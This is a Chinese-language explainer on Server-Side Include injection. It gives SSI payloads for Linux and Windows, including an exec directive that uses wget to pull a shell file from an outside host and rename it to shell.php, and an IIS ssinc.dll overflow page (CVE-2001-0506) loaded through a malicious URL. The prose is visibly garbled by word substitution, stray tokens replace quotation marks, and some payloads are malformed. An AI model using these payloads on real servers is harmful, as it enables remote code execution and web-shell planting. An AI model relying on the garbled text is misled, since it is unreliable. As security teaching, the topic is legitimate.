做事器端包含攻击许可通过在HTML页面中注入脚本或远程实行任意代码来利用Web运用程序。
可以通过操纵运用程序中利用的SSI或通过用户输入字段逼迫利用SSI来利用它。

可以通过插入在SSI指令中利用的字符来检讨运用程序是否精确验证输入字段数据,如下所示:

< ! # = / . \"大众 - > and [a-zA-Z0-9]

另一种创造运用程序是否易受攻击的方法是验证是否存在扩展名为.stm,.shtm和.shtml的网页。
但是,短缺这些类型的页面并不虞味着运用程序受到SSI攻击的保护。

shtmlssi办事器端包括SSI注入 AJAX

无论如何,只有当网络做事器许可SSI实行而没有适当的验证时,攻击才会成功。
这可能导致在Web做事器进程所有者的容许下访问和操作文件系统和进程。

攻击者可以访问密码文件等敏感信息,并实行shell命令。
SSI指令被注入输入字段,并被发送到Web做事器。
Web做事器在供应页面之前解析并实行指令。
然后,下次为用户的浏览器加载页面时,攻击结果将可见。

风险成分

TBD

例子例1

用于注入SSI的命令因利用的做事器操作系统而异。
以下命令表示该当用于实行OS命令的语法。

Linux的:

目录列表文件:

<!--#exec cmd=\"大众ls\"大众 -->

访问目录:

<!--#exec cmd=\"大众cd /root/dir/\公众>

实行脚本:

<!--#exec cmd=\公众wget http://mysite.com/shell.txt | rename shell.txt shell.php\公众 -->

Windows:

目录列表文件:

<!--#exec cmd=\公众dir\公众 -->

访问目录:

<!--#exec cmd=\"大众cd C:\admin\dir\公众>例2

其他可用于访问和设置做事器信息的SSI示例:

要变动缺点输出:

<!--#config errmsg=\公众File not found, informs users and password\"大众-->

要显示当前文档的文件名:

<!--#echo var=\公众DOCUMENT_NAME\"大众 -->

显示虚拟路径和文件名:

<!--#echo var=\"大众DOCUMENT_URI\"大众 -->

利用“config”命令和“timefmt”参数,可以掌握日期和韶光输出格式:

<!--#config timefmt=\"大众A %B %d %Y %r\"大众-->

利用“fsize”命令,可以打印所选文件的大小:

<!--#fsize file=\"大众ssi.shtml\"大众 -->例3

IIS版本4.0和5.0中的一个旧漏洞许可攻击者通过动态链接库(ssinc.dll)中的缓冲区溢出失落败获取系统特权。
“ssinc.dll”用于阐明进程做事器端包含。
CVE 2001-0506。

通过创建包含SSI代码的恶意页面并逼迫运用程序加载此页面(路径遍历攻击),可以实行此攻击:

ssi_over.shtml

<!--#include file=”UUUUUUUU...UU”-->

PS:“U”的数量须要超过2049年。

逼迫运用程序加载ssi_over.shtml页面:

非恶意网址:

www.vulnerablesite.org/index.asp?page=news.asp

恶意网址:

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

如果IIS返回空缺页,则表示发生了溢出。
在这种情形下,攻击者可能会操纵过程流并实行任意代码。